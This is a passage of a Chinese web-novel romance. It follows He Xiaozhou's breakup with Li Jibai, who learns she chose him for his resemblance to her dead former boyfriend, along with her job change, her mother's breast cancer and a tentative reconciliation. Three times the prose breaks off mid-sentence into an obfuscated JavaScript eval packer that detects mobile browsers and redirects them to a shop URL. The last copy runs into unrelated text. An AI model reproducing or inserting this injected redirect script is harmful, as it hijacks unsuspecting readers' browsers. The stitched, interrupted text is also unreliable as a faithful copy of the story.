李既白艰难开口,嗓子干涩到发疼,“所以,最开始你主动接近我,后来决定和我在一起,真的只是因为我……” 事实摆在眼前,真要说出来还是难以启齿。他停顿片刻,抬眸盯紧她,嗫嚅道:“因为我像他……” 何筱舟不想在这种时候搪塞他,更没办法否认,牙齿用力磕着下唇,心脏被骤然攥紧了一般,每一次呼吸都带着灼热的痛意。 但沉默有时也是答案。 李既白用力闭了闭眼。 他宁愿她用她一贯尖锐、不留情面的方式告诉他:对,就是这样,不然你以为是为什么? 但她的表情,悲悯或者同情,轻易让他产生错觉——她不忍心伤害他。 可她的不忍,是基于他本人,还是他这张面孔? 李既白无法控制有愤怒的情绪从心底钻出来。 他猛地站起身,手掌控住她的下颌,“何筱舟,凭什么这么对我?” 何筱舟被他突如其来的暴戾吓了一跳。 她从未见过他这样的目光,双眸沉黯,似冬日里结了冰的冻湖,有深深的寒意不断从眼底渗出。 何筱舟愣怔数秒,直到感知到下颚传来的痛意。 她蹙了蹙眉,想要先把他的手拨开,“李既白,你先冷静一点,听我说……” “说什么?” 李既白冷笑了下,由来和煦的脸上覆了层薄霜,清俊感也被冷厉取而代之,“你要我怎么冷静?我是不是该感恩戴德?如果不是因为这张脸,你大概永远不会注意到我。” 他手上愈发用力,声音却压得极低,目光也变得阴郁,“何筱舟,这就是你爱一个人的方式?他知道吗,知道你有这么不舍得他,有这么想他,宁愿和一个不爱的人交往,接吻、□□的时候都想着他!” 何筱舟睫毛轻颤着,抬眼看向他。 蒙了层霜雾般的眼睛,似月光下摇曳的湖面。 李既白用另一只手覆住她的双眼,压抑地咬牙低吼:“别再这样看着我!” 忽有柔软的触感扫过掌心。是她眨了下眼吗? 李既白暗暗唾弃自己,他胸口郁结的愤怒情绪好像就这样被轻巧地冲散了些许。 可她随即说的话,令他陷入新的绝望中。 “他已经死了,不会知道。” 李既白恍惚了一刹,然后是漫长的大脑空白。 他仿佛听到耳边响起铮鸣般的电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277372|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流音,尖利、刺耳,像心电监护仪器上心跳变成直线的提示信号,涅灭他内心最后一点期待。 禁锢着下颌的力道忽地松了。 何筱舟一怔,接住他颓然滑下的手。 可只是指背短暂地相触了下,还没感觉到温度,就被李既白躲开了。 她几分茫然地目视他缓慢转身,走进卧室。 直觉这时候应该说点什么,至少应该告诉他,和他在一起的原因,不全是因为林湛。 可她的思绪乱成一团,根本不知道该怎么开口。 尤其是,连她自己都觉得,那些文字在当下的情况,苍白到像是在狡辩。 之后的一切就像一出没有画面的有声剧。 何筱舟先是听见行李箱滚轮的响动,然后是窸窸窣窣的整理声。大概是他在收拾衣物。 李既白带过来的物品不多,平时又很有条理,所以没花多长时间,就推着行李箱走了出来。 他没什么犹豫地从她身边经过,像穿堂风,片刻停顿都不曾有。 临出门前,李既白将房门钥匙搁进了玄关柜上方的瓷盘里,一同留下的,还有一枚挂件。 和她的同款,是有一天回家,他强行挂在她钥匙串上的。 理由让她没办法拒绝:你不和我用情头,挂坠总可以?我都没有区分颜色,买的一模一样的款式。 何筱舟后知后觉体会到剥离感,由心口蔓生出钝痛。她条件反射般跟着上前两步,想叫住他。 没想到,他先回头了。 玄关处发散的筒灯光线下,何筱舟看清了男生眼底积蓄着一层薄薄的湿意。 她顿时噤声,到嘴边的话堵回喉咙口。 “何筱舟,我以为我足够了解你。” 李既白眼神里有些苍凉,恍若刚才的凶狠是她臆想出来的,“是我不自量力,以为我对你而言是特殊的。” “我们分……” 李既白勉强牵唇,扯出苦涩的笑,“算了。可能在你眼里,根本不算在一起过吧。” 说完,他转过身,手搭上门把。 何筱舟拉住他的衣袖,疾疾开口,“不是的……” 搭在门把上的手停滞了瞬秒,还是把门打开了。 李既白垂眼回避着她的视线,将袖口从她指间扯出来,提着行李箱走了出去。 何筱舟目视男生的背影消失于转角,下意识扬起手,在半空中徒劳地抓握了下。 然而。 阒静到落针可闻的空间里,她只捕捉到一缕微茫的空气。 何筱舟身体无力地倚向门板,缓缓滑坐到地上。 她自认为长期秉承着的好习惯,在做任何决定之前,提早预设方向,假定最坏的结局,尽可能规避风险,看淡得失。 关于李既白,她曾数次在脑海中预演过真相被戳穿的场面,或歇斯底里,或恶语相向,总之,不会是这般平静。 何筱舟蜷坐着,紧紧抱膝抵住心口的位置。 她看着那个出自李既白之手的DIY瓷盘,或许是在看它,因为视线根本不能对焦,恍惚间又落去被拆下来的钥匙和挂件上。 她想到她有过多次动心起念,试图切断与李既白的关系。 她从一开始,就在预习着当下的离别。 可当真正发生了,明明不是最糟糕的结果,她却只感到前所未有的混乱与迷茫。 如同风暴过境,徒留满地狼籍。 51. 逃避 六月份,津海进入雨季。 阴雨连绵的十数天,天色被晕染成没有尽头的铅灰,好像天地都融成一体,没有边界、没有缝隙,一切都变得浑浊又黏腻。 每到这个时节,何筱舟潜意识里总想着逃离。 或许是因为,林湛去世那年,她就是在这期间从北京回到津海,即便她从小到大都生活在这座城市,还是用了很长时间才重新适应气候和环境。 融合的具体感受已经不甚清晰,产生抗拒的大概是身体记忆的本能反应。 今次,这种本能叠加了去年同时期和李既白的初遇,让她内心的抗拒成倍增长。 她变成了居潮避光的菌类植物,除去上班通勤和必要的出行,连日都闷在家里。 唯一能让何筱舟提起精神的,只剩下换工作这件事。 上次她跟乔楠说的并非是玩笑话。 如果一定要追溯,可能是先前和余歆然共同完善产品框架的那个过程,在她心里埋下了一粒种子。 最开始只是一点不起眼的草尖,真正下决心是某天下午,她坐在会议室里听方案,一扭头看见落地窗外青茫茫的天光,忽然间就厌倦了当下这种节奏。 按部就班地遵循上一环节确定的标准和条款,将只存在于文件中的概念一步步变成真实可见的东西。尽管完成实施的时候能收获足够的成就感,可那株草苗被内心空茫的渴望催生得愈长愈盛。 她想,或许有朝一日她也可以成为,从无到有缔造概念的人。 何筱舟想起她曾以缺乏创造力为由回绝余歆然的创业邀请。那并不是推脱的借口,而今再回头看,她承认,她一直缺少的,是坦然面对未知的平稳心态。 但这世界上,从来没有任何事,可以等她真正做好一切准备后再发生。 每天高度重复的忙碌中,何筱舟渐渐明晰了她在知界的上限。 诚然,她如今在新部门算是游刃有余,还有晋升的空间,但她仔细想过,那条路与她的初心和当下的新想法都已经相去甚远。 这样打算着,何筱舟着手换工作。 她不着急联系猎头,先把空余时间都安排了学习。她花大量的精力去深度分析当前市场上比较热门的AI模型,将它们各自的优劣势做对比,甚至试着拆解算法,融入自己的见解,她不打算跨一大步,想慢慢来,先从创意应用开始。 她似乎变得比之前还要忙,乔楠在电话里抱怨她们见面的频次骤减,竟然比她恋爱期间还少。 说这话时,乔楠语气里很有些恨铁不成钢,直截了当地问:分手而已,不是有想过再把人追回来吗? 何筱舟没有应声。当初把后路想定了的人,因为突如其来的、计划之外的变故,一下子变得踌躇,只能用她最得心应手的繁忙,将生活的每一寸空间都填满。 尽管如此,仍无法阻隔关于李既白的消息无孔不入地渗进生活里。 先是衣柜里的衣服。 他离开时,完全清空了属于他的一格空间,挂衣区的外套也尽数摘走。唯一的漏网之鱼,是何筱舟穿过的一件毛衣,浅米色,质地柔软,像春日里和煦的光照。 可春天已经完全过去了。 何筱舟看了许久,最终还是将衣服叠好,跟她那天临时起意买来却没送出去的礼物一起,收进衣柜深处。 然后是陈曦。 午间拥挤喧闹的快餐店里,何筱舟戴着耳机坐在角落。她独来独往惯了,没觉得哪里反常。看在别人眼里却不是这么回事。 女生提着打包好的餐食,颇拘谨地坐下,拐弯抹角地向她打探感情现状,很委婉地问她是不是分手了。 何筱舟没明言,只问陈曦是从哪得出来的这个结论。 “猜的。前段时间,你的外卖每天掐着点送到。那家店很火的,得提前预定,你平时都随便对付吃点,我们私下里分析过,你应该是恋爱了。” “但现在,停了好多天了。” 何筱舟捏筷子的手顿了顿。 她不动声色地笑了笑,“我们?还有谁?下午开会讨论新需求,让我看看你们怎么分析的。” 陈曦早就摸清楚了这位上司的脾性。 她看起来冷冰冰的,身上裹着锋芒,实际是个很柔软的人。 前段时间部门有个实习生犯低级错误,她包揽下全部责任,没有迁怒和严词批评,事情解决后抽出时间耐心地手把手教。 她对所有人一视同仁,跟张巍和卢斌有过龃龉,这事部门的人都知道。但工作上还是照旧,从来都是对事不对人。 私下场合里,她甚少打官腔。冷不丁来这一出,陈曦没被震慑到,反而觉得有点不符合她外表的反差可爱。但看她的反应,陈曦心下了然,八成是真的。 不清楚她分手会是什么状态。除了神色比平时更沉静冷淡之外,似乎没什么异样。 陈曦以己度人,笑嘻嘻地给她递去一根棒棒糖。 “失恋的人需要多吃点甜食。” 何筱舟看着女生离开,再拾起筷子时就有些食不知味,拿来手机搜店名。 那是一家常年稳居排行榜前十的餐厅,食材、做法都有讲究,每天限量接待顾客,通常要提前半个月订位。 那段时间,李既白每天帮她点餐,提醒她按时吃饭。 何筱舟起初不适应这样的无微不至,故作轻松地调侃:“这习惯不是很好,你应该知道,由俭入奢易,由奢入俭难。” 男生反应过来她话里暗指的意思,把她压进沙发里,恶狠狠堵住她那张似乎永远讲不出好听话的嘴。 亲完,用拇指轻轻刮去她唇边的水渍,低头吻她的额头和鼻尖,“别说这样的话,你答应过我的,不会轻易离开我。” 刚过去没多久的事,仿佛还在眼前,带着色彩。 人来人往的快餐店,何筱舟就这样毫无预兆地陷进回忆里,漩涡中心是仍然鲜活的画面,毫不留情地将她吞噬。 再之后是麦克。 何筱舟自认换工作这件事进行得悄无声息,却不知是哪里露出了端倪,被麦克看出破绽。 有次例会结束,麦克出声把她留下。 他饶有兴致地打量着她,“因为分手了,所以要换工作?” 何筱舟不觉得有什么需要遮掩的,坦然承认。 “我必须纠正一下,两者没有因果逻辑,不过我确实,在考虑这件事。” 麦克挑挑眉,“我可以知道原因吗?” 何筱舟如实说:“人在一个环境待久了会产生惰性,我想试着做出点调整。” “那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291808|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我狭隘了,我以为是为了避开某个人。” 何筱舟看向他,“什么意思?” “今早我在咖啡厅遇到李,他新入职的公司在D座对吗?” “穹宇,我听说过,是很不错的一家无人机科技公司。” 何筱舟一怔,只觉得这瞬间好像有蚂蚁在皮肤上爬,细微的痒意顿时遍布全身。 D座不远,他们却一次都没有遇见过。她还以为,他放弃了那个几乎为他量身定制的offer. 她面色僵滞片刻,很快又切换至无可挑剔的微笑表情,“是的,麦克,这还要谢你出面跟领航协调。” “谢我?你是以什么身份?” 麦克观察着她微变的神色,扬唇笑了,“如果你想好了要辞职,我建议你选好时机,等股权兑现。当然,具体你自己决定,提前知会我一声就好。” 何筱舟很想现在就撂挑子,把他脸上意味不明的笑容撕碎。 可这建议是为她好,她压下轻微的不爽,没把他似是而非的调侃当回事。 只是那天之后,何筱舟会有意避开D座。 直到彻底放晴那天,她隔着人流,远远看见他和同伴一起从便利店出来。 男生的头发更短了,最初微卷的视觉效果完全消失。他看上去清减了些,走在最外围,分明在笑,可正午热辣的阳光下,却让何筱舟无端觉得,那笑里没有半点温度。 他从前也游离在社交圈之外,但总是愿意配合别人、姿态积极的,不像现在,是全然的疏离。 完全不期然的偶遇,像重重投进井里的石块,激起重重涟漪,荡漾在心头,久久不退。 何筱舟被日光晒得有些晕眩,说不清什么缘由,站在原地,给他拨了通电话。 她忐忑地数着听筒里的嘟声,听见微沉而哑的声音,缓缓沉了口气。 开局是预料之中的艰难,因为男生明显在压抑着情绪,“有事?” 何筱舟听着他冷漠的问句,身体微晃,倚上旁边的墙壁,“……你有件衣服,落在我这了。” 过于蹩脚的借口。 她听到男生遽然加重的呼吸,闭了闭眼。 “一件旧衣服而已,我不要了,你可以扔掉。” 李既白顿了顿,“还有事吗?” “……还有,我那天其实买了礼物……是想给你补过一个生日。” “你还住在之前的地方吗?我发同城给你。” 李既白深吸口气,目光不经意间一转,捕捉到躲入建筑物阴影里的女人。 他依然回绝,“不需要,我基本不过生日。” 何筱舟词穷了……她想了想,说:“还有手表。我想,应该还给你。” 李既白看着她被风扬散的长发,脖颈被千丝万缕缠绕一般,难以呼吸。他几乎要用视线将她盯穿,“你什么意思?要跟我两清?” 何筱舟并没想清楚具体要跟他说什么,但当下的发展根本不在她的预期之内。 她嗫嚅道:“不是,我想跟你道个歉。” “不管是两清,还是道歉,都没必要。” “何筱舟,我需要的不是这些。” 那是? 何筱舟的追问没来得及问出口。 李既白已先行切断了电话。 52. 退场(上) 陈泽递交上去的名单很快通过了审核。 那之后,李既白开始着手准备签证材料。 这期间里,季惟的四季酒吧正式开始重整翻修,他应邀去了趟槐枰街,看过初版渲染图,认真提了些建议。 季惟大有一副重整河山的架势,收起以前吊儿郎当的态度,减少和酒肉朋友的聚会,竟然连装修都亲力亲为,不厌其烦地一趟趟跑建材市场选材料、比价格。 “你卡被停了?” 季惟忍住跟他呛声的冲动,微笑,“你觉得我变稳重了吗?” 李既白这才注意到他身上规整的西服三件套。 两人正站在店门口,只有一棵小树略作遮挡。李既白眯眼望向空中高悬着的烈日,问:“你不热吗?” 季惟没理会,调出一张照片,“像他吗?” 大概是从哪家企业官网下载的图,还能隐约看到水印。照片中的男人沉稳严肃,兼有与生俱来的矜贵感,静态图里也能瞧出杀伐决断的气场来。 “这谁?你家的竞争对手?” 季惟一下子蔫了,颓唐地说:“他在追乔楠。我以为没戏,哪想到,乔楠看起来对他也有点意思。” 李既白深感荒谬,敛去笑意,“所以你是在,学他?” “别逗,我用得着学他吗?” 季惟说:“我是发现了,乔楠就喜欢这一挂,之前那个Eric就是,这个姓周的也是,俩人一模一样,故作高深的闷葫芦。” 李既白目光闪了闪,凝眉陷入沉思。 “说什么呢!” 身后传来一道亢亮的女声,两人循声回头,看见了乔楠。 她快步走到两人面前,扯住要往季惟身上扑的奥斯卡,瞥他一眼,“这衣服不适合你,赶紧换掉。” “还有,我就喜欢这样的怎么了?” “人的审美都是一贯的,要不然你干嘛买那么多一模一样的潮牌衣服?” 话是冲季惟说的,说到后面,乔楠却若有似无地瞟李既白。 他当然听出她的意有所指,抿紧唇角没作声。 季惟不知详情,振振有词地反驳,“首先,每一件的图案都不一样。其次,就算只有颜色的差别,也代表不同的意义。” 乔楠没说更多,点到即止。 她急着走,更没空搭理季惟这套说辞。 季惟却出声叫住她:“这个点,你那边工作室还没开始营业呢,急什么?我跟奥斯卡玩一会儿。” “你玩你玩。” 乔楠干脆把手中的绳索递给他,“已经遛过了,你一会帮我好生送回去。我这段时间估计都没空过来,你想见它,可以随时去我店里。” 季惟有点慌了,“没必要吧,你跟姓周的还没在一起呢,我说他两句就受不了啊?又来绝交这套?” 乔楠瞪他,“你别来劲啊!” 她望向一旁沉默的李既白,叹声气,“是筱筱,我得去医院看看她。” 李既白心里一凛,蓦然抬眸,“她怎么了?” 他反应有点过,让状况外的季惟不由一愣,后知后觉咂摸出不对劲。 但当下的情况也不容他问清楚,因为乔楠紧跟着说道:“何阿姨生病了。” * “是乳腺癌。” 这些天,何筱舟耳边总荡着刘循书说的这句话。 在查资料的时候,在听医生讲治疗方案的时候,在一个人坐着发呆的时候。 那些专业的医学名词灌进耳朵里,在脑子里过一遍就散没影了,只剩下这几个字,烙在心里,不由分说地推着她,让她不得不强撑着精神料理一切。 很奔忙,但她又感觉自己是静止的。 周遭的一切都变成了走马灯,携着长长的、模糊的影,如电影里抽帧处理过的画面,虚幻而不真实。 她也不真实。 此时她手里捏着一把检查单,坐在院楼外没有丝毫遮蔽的露天长椅上,七月里日晒当头,她却只觉得冷。 那是一种让人无措的茫然和苍凉。 持续了很多天。 很不恰当地说,接到刘循书电话那天,何筱舟满脑子想的是,这一定是何丽萍的迂回策略,在等着她的,又是一场相亲鸿门宴。 因为在她的印象里,何丽萍是那样一个高精力的人,每天很早起床准备馄饨馅,在店里忙一整天也不嫌累,晚上还能抽出时间去参加老年舞蹈活动。 但一些被忽略过的细节,如潮水般涌向眼前。 前次在医院的偶遇,饭桌上的欲言又止…… 或者更早——除夕那晚,她从后视镜里看到的佝偻着的身影,甚至是,从何丽萍突然热衷于插手她的婚恋问题开始。 何筱舟赶去刘循书家里的时候尚保有一些理智。 她一路上没闲着。查了很多相关的病例,还联系了大学的室友陶温言。 她记得陶温言和她们同校医学院的一个男生交往很多年,感情稳定,那男生现在在北京一家很不错的医院就职。 可当她见到何丽萍,这些理性的考量全被抛诸脑后。她来得突然,没有任何缓冲地,直接眼见了何丽萍来不及粉饰的一切。 往日烫成波浪卷的头发掉了很多,稀稀拉拉贴着头皮。面色枯黄,嘴唇没有一点血色。她刚从卫生间出来,嘴角还残余一点没擦干净的呕吐物。 那个瞬间,何筱舟的大脑完全空白。 所有的心力,只够支撑她勉强牵起唇角,低低喊出一声:“妈……” 包里的手机嗡嗡作响,强行将她的思绪拽回。 何筱舟回神,才发觉自己的手在抖。 她缓过劲接起来,那头乔楠急吼吼地问她现在在哪。 “门诊楼后面。” “乔儿,你不用过来了,刘老师已经陪我妈先回家了,我一会儿销了假回公司上班。” 乔楠深吸气,“今儿周末,你上什么班?” “……那我去加班,最近落下了很多工作。” 乔楠不解,“怎么突然要去上班?你不是请了假要陪着丽萍吗?” “……我妈说她不想看见我。” 尽管在何筱舟不知情的情况下,化疗已经进行了几个周期。但何丽萍越来越抗拒。 事实上,如果不是刘循书日渐劝不住她,何筱舟或许到现在还被蒙在鼓里。 起初何丽萍想得很开。因为在她的概念里,这个病是能治愈的,最坏的情况可能就是切除乳/房,而她也能接受这个结果。 她甚至计划,全程瞒着何筱舟,直到手术成功。 但真正的治疗却不是她想的那么简单。 何丽萍其实是个很乐观的人。 徐成德去世后,她一个人照顾何筱舟,支撑起一间店铺,闲暇时还会花心思做很多细巧的钩织品,把陈旧拥挤的出租房装点得干净又美观。 她总说日子会越来越好的。 这样一个人,却被化疗折磨得形销骨立。 何丽萍不想看见自己这副样子,尤其是在何筱舟面前。一连多日,她都避而不见,就算见了,简单说几句无关紧要的话又要赶她回去。 今天本来是做检查看下化疗的效果,再跟主治医生商定下一步的治疗方案,何丽萍得知她请了长假,发了好大一通火。 言辞尖利,像一把刀直往人心口扎。 她破罐破摔地说:你们都别再管我,天天正事不做,全吊在我身上。我干脆不治了,等死。这样大家都早解脱。 乔楠叹了声气。 “阿姨她也不是冲你,你别放在心上。筱筱,我送你回家吧?要上班也先等等,你这段时间一直绷着劲,需要好好休息。” “不用了乔儿,我想,先自己待一会。” 乔楠静默片刻,“好。那你有事给我打电话。” 何筱舟这时候有那么点理解何丽萍的回避心态,她也不愿意让乔楠看到她此时的模样。 泪痕干在脸上,被日光晒得紧绷而有些刺疼,她从包里取出一支瓶装水,倒进手心,胡乱抹了把脸。 津大附医永远人来人往,多的是和她一样的人。 时有经过的路人,匆匆瞥她一眼,又匆匆走开。 她就那样坐在阳光里,像一尊没有灵魂的雕塑,双目无神地看着淌到地上的那一滩水慢慢蒸发,变成一片灰迹。 然后一同等待着,情绪一点点被稀释、被晒干。 不知过了多久,日头渐偏移至斜侧建筑物后面,为她提供片许遮蔽。 何筱舟眯了眯眼,感觉精神恢复了些,能心平气和说话了,方站起身。 但,可能是在室外待了太久,她忽然眼前一黑。 何筱舟勉力稳住身形,从包里取出车钥匙,思维迟钝地辨了下方位,朝停车场方向走去。 然而,刚迈出去两步,她脚下一软,没有任何征兆地直直栽倒下去。 身后随之响起一声惊愕的呼喊。 预料之中的疼痛没有传来,她跌进一个温热的怀抱,携着清冽好闻的草木气息。 好像迷路许久,又回到了熟悉的旷野。 “李既白……” 何筱舟吃力地睁开眼睛,勉强弯唇,“你怎么在这?” “别笑了,很不好看。” 李既白绷着脸,从裤袋里掏出一只口罩戴上。他扶着她的手臂搭上肩膀,缓缓蹲下身,“要去哪,上来,我送你。” 何筱舟趴在他背上,放心地把全身重量都交托给他。她看着他耳廓外勾缠的系绳,迟疑地问:“你感冒了?” “……你就当是我感冒了。” 何筱舟隐约明白了他的别扭。 她伸臂环住他的脖颈,脸贴着他的,极小声地说了句:“对不起……” 李既白脚下一顿。 “我说过,我不需要你的道歉。” 这话没有得到任何回应。 李既白偏脸瞧,女人歪歪倚靠着他已经睡着了。 她是熬了多久,眼睛下这么明显的乌青。 李既白心里不受控地泛起细密的疼意,托着她双腿的手臂下意识收紧了些。 * 何筱舟再醒来是在急诊科外等候的长椅上。 她反应了一会,才意识到自己正躺在李既白的腿上。 他仍戴着那只口罩,因此只能从眼神里分辨出,她睁眼的霎那,他的神情有些闪躲。 “……我是不是说了什么奇怪的话?” “你觉得你会说什么?” 李既白不想过多讨论这个问题,剥开一颗糖,不由分说塞进她嘴里。 何筱舟唔了一声,挣扎着坐起身。 她觉察到他的态度和动作皆有不耐,自知已经麻烦他太多,咬着糖含糊地说:“今天谢谢你,我没事了,自己可以回去。” 李既白闻言,倏地侧眸。 他死死盯着她,眸底沉晦,如夜雾笼罩的海面,能把所有光亮吸噬殆尽。 他半晌没有动作。 隔了会,他颓然地垂下眼睛,摘掉口罩,“你先把饭吃了。我……再给你当一次代驾吧。” 何筱舟接过他递来的外卖保温袋。 她听出他语气里隐含的释然意味,竟觉得舌尖的糖开始发苦。 或许表层糖衣之下包裹的,是真相结出的苦涩果实。她是自食其果。 何筱舟不是很饿,却还是一口一口慢慢吃完了。 之后,真如李既白所说,他像个尽职尽责的代驾小哥,开车把何筱舟送去刘循书家所在的小区,除了偶尔询问路线外,全程没有其他交流。 何筱舟非常不喜欢当下这种状态,感觉被吊在空中,有难以克服的失重感。 她有心想打破僵局,但心里又记挂着该怎么劝慰何丽萍,思路搅在一起,糨糊一般。 能多线并行处理各种复杂程序的脑子,从来不擅长表达情感。 何筱舟多少有些懊恼。因为车停进车位已经有半小时了,她还在副驾坐着。无数次做好心理准备要拉开车门,却总在抬臂之前敲起退堂鼓。 在她纠结的这段时间里,李既白没有催促,一言不发地安坐于主驾。 但密闭的空间里,他的存在感过强,不容忽略。 何筱舟不好让他下车,只说:“我下去透透气。” “我陪你走走?” 何筱舟语塞,正欲拒绝,他又说:“你还没彻底恢复,如果你不想突然间再晕倒的话,就听我的。” 何筱舟没再吭声。 她对这里不是很熟悉,循着小路往楼栋稀少的方向走,七拐八绕到了公共休息区。 上了年头的旧小区,设施并不完善,人造喷泉早已停止运行,徒留下陈旧的装置。 好在绿化效果很好,浓荫蔽日,空气中的热浪被稀释,从树下经过时能感到凉爽的风。 何筱舟胸中淤积的闷窒感散了些,随手拂了拂休息区的长椅,扫掉上面掉落的细小树枝,弯腰坐下。 李既白跟着落座,和她隔一个身位的距离。 他打量着她的神色,试探地问:“阿姨的病……怎么样了?” 医生对何丽萍的病况很乐观,先进行化疗,肿瘤缩小后就可以手术,按预估的情况,可能不需要全部切除。 但为难的是,何丽萍本人很消极。 何筱舟低眸,手指无意识地揪着小树枝干涸的外皮,“我不知道还能怎么鼓励她……” “你呢?你需要鼓励吗?”李既白问。 “我还好……” “真的?” 李既白调出相机,调成前置模式,直直杵来何筱舟面前。 被镜头捕捉到的脸先是错愕,转瞬又恢复平静。 她极少化整幅妆面,通常只补眉色和口红。 如今连这些都不再有,本就素淡的面孔因憔悴而愈显孤清,好像没有人气似的,随时会被风吹散,又像大病初愈,每一秒钟都维持得非常艰难。 何筱舟试着扯出笑容,“的确不怎么好看。” “我不是这个意思……” 李既白把手机收回去,“只是,以你现在这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他会做吃起来清甜不腻的桂花年糕,柔着嗓音讲各种童话故事,会在下班路上捎回来两支糖葫芦或是兔子形状的糖人,还会给何筱舟编麻花辫。 凡是他在,何丽萍基本不用做任何家务,徐成德总是把一切都打理得井井有条。 他们构成了津海万千家庭里最普通不过的其中之一,不够富足,却绝对温馨。 何筱舟大概会和所有被爱意滋养的女孩一样,平和、明媚,勇敢向上,不会因为畏惧尚未发生的事就提前把每一步都做好规划。 前提是,没有发生那场意外。 那年何筱舟十岁,尚看不懂老师喊她去办公室时欲言又止的怜悯眼神,直到她亲眼看见徐成德僵直、没有温度的身体。 长大,似乎发生在一夜之间。 她不想离开新安社区,这里装满了她对童年的所有回忆,有她的家,有徐成德,连风都带着甜暖的香气。 但她不忍再听到何丽萍深夜辗转难眠时无力的叹息,平静地收拾好东西,随何丽萍搬进馄饨店的小隔间。 她学着何丽萍的样子擦桌子、包馄饨、招揽顾客,丝毫不敢表现出一丁点落差感,因为最开始那段日子,何丽萍总是在夜里悄悄啜泣。 那之后的很长一段时间,何筱舟听到最多的一句褒奖是“懂事”。 老师这样说,父母的朋友这样说,开家长会时,座位相邻的同学爸爸妈妈也这样说。她被奉为标杆,成为劝诫自家孩子最有用的工具。 或许是真心夸赞,但他们不会明白,这里面的同情和事不关己的庆幸是另一种意义上的刀剑。 何筱舟被一路裹挟,谨慎到不敢犯一点错。 她的青春没有叛逆期,鲜少跟何丽萍发生矛盾。 她们是彼此的家人和战友,密不可分到容不下任何外来物,但同样小心翼翼,像各自拉扯着弹力绳的两端,生怕用力过猛,伤到对方。 何筱舟升高中那年,经济状况好了一点,何丽萍在门店附近租了间小两居,慢慢将日子重新打理得有声有色。 但同时,开始有另外一个人介入她们的生活。 他是徐成德的同事,姓杨,何筱舟对他很熟悉,因为他们关系很好,常常聚餐,意外发生后也对她们多有照顾。 按理说很好,只是何筱舟没来由的抗拒。 她回避何丽萍安排的正式见面,一改往日的态度,对男人冷眼相待,言辞尖锐,即使他是来帮忙修理堵塞的下水管道。 她知道这样不礼貌,可她无法克服何丽萍也将要离开她的恐慌感。她甚至私下里找到男人,用极其幼稚的方式试图劝退他。 最后当然被何丽萍知道了。 她们爆发了激烈的争吵。 何筱舟记得她说:“你对着我爸的遗像说过,你会好好照顾我,让我爸放心。他怎么放心,看着你和他的好朋友在一起就放心了?你觉得你们俩现在这样合适吗,把我爸放在什么位置!” 何丽萍恼羞成怒,“你怎么这么不懂事?我天天这么辛苦都是为了你!我只想找人分担一点,有什么错?也有条件更好的跟我接触,你以为为什么是他,因为其他人都介意我拖油瓶!” 这场争执,以何筱舟离家出走划上句点。 三天后她高烧晕倒在路边被送到医院,醒来时,何丽萍憔悴而仓惶地向她保证,不会再和杨叔叔联系。 然而,裂痕始终存在。 无法宣之于口的愧疚、自责和无奈累积成分量不轻的痛苦,让何丽萍的脾气变得阴晴不定。她开始着重留意女儿的心理状况,却无法从根上阻止她的性格愈来愈冷硬,以至于所有关怀只能停留在表面。 何筱舟给自己定了很多目标,考第一,考名校,要用更加夺目的光环盖过“懂事”和“拖油瓶”。 为了避免给何丽萍添麻烦,她遇到什么事都尽可能依靠自己解决。高考完把志愿填到北京,开学临行前对何丽萍说:“我不是你的累赘了,你可以跟任何人在一起了。” 等何筱舟毕业回到津海,她们的关系才算是稍有缓和。 可依然如冰上取暖,岌岌可危。 甚至到今天发生这样的事,都没办法好好沟通。 何筱舟无意识地摩挲着指尖,“可能我从那时候就做错了。” “她应该有自己的人生,如果不是……一直这么操劳,可能现在也不会生病。” 李既白掀眼看她,“这没有对错可言。” 他克制住拥抱她的冲动,以目光代替,“只是那时候,你和阿姨,都太辛苦了。” 亲近的人最知道刀子往哪里捅最能伤人。 同理,也清楚该上什么药。 “何筱舟。” 她应声看进他眼底,捕捉到熟悉的,令她感到熨帖、和暖的温柔神色。 “我相信你早就多方了解过阿姨的病症。” “数据当然最有说服力,但是我想,她更需要你。一定有什么是比别人的案例更能打动她、激励她的。” 何筱舟无法控制眼睫颤动,她握了握拳,舒展有些僵硬的四肢,缓缓站起身。 她不再踌躇不安,而男生随即的许诺又给她注入一剂强心针—— “别怕,我在这里等你。” 53. 踟蹰 何筱舟乘电梯上楼,刘叙言来给她开的门。 “何姨回来睡了一觉,刚醒没多久,现在我爸在里面陪着呢,要不你先坐一会?” 刘叙言给她倒了杯温水,小声问:“何姨回来的时候哭过,是检查结果不好吗?” 何筱舟目光闪了闪,“没有,医生对病况预估很乐观,是我们吵了一架。” 刘叙言松了口气,“亲人之间没有隔夜仇,何姨心里最挂念的人就是你了,过会儿你们好好说说话,我也带我爸出去散散心。” “这是场持久战,我们一起努力。” 何筱舟灌了口水,感受热度一点点滑进胃里,“这段时间你们也很辛苦,谢谢你和刘老师。” “嗐,都是一家人了,还说什么谢。” 刘循书听到客厅的动静,从卧室走出来,朝何筱舟招手,“我劝过你妈妈了,她先前是一时想不开。其实啊,她说完就后悔了,那些话不是她的本意。” 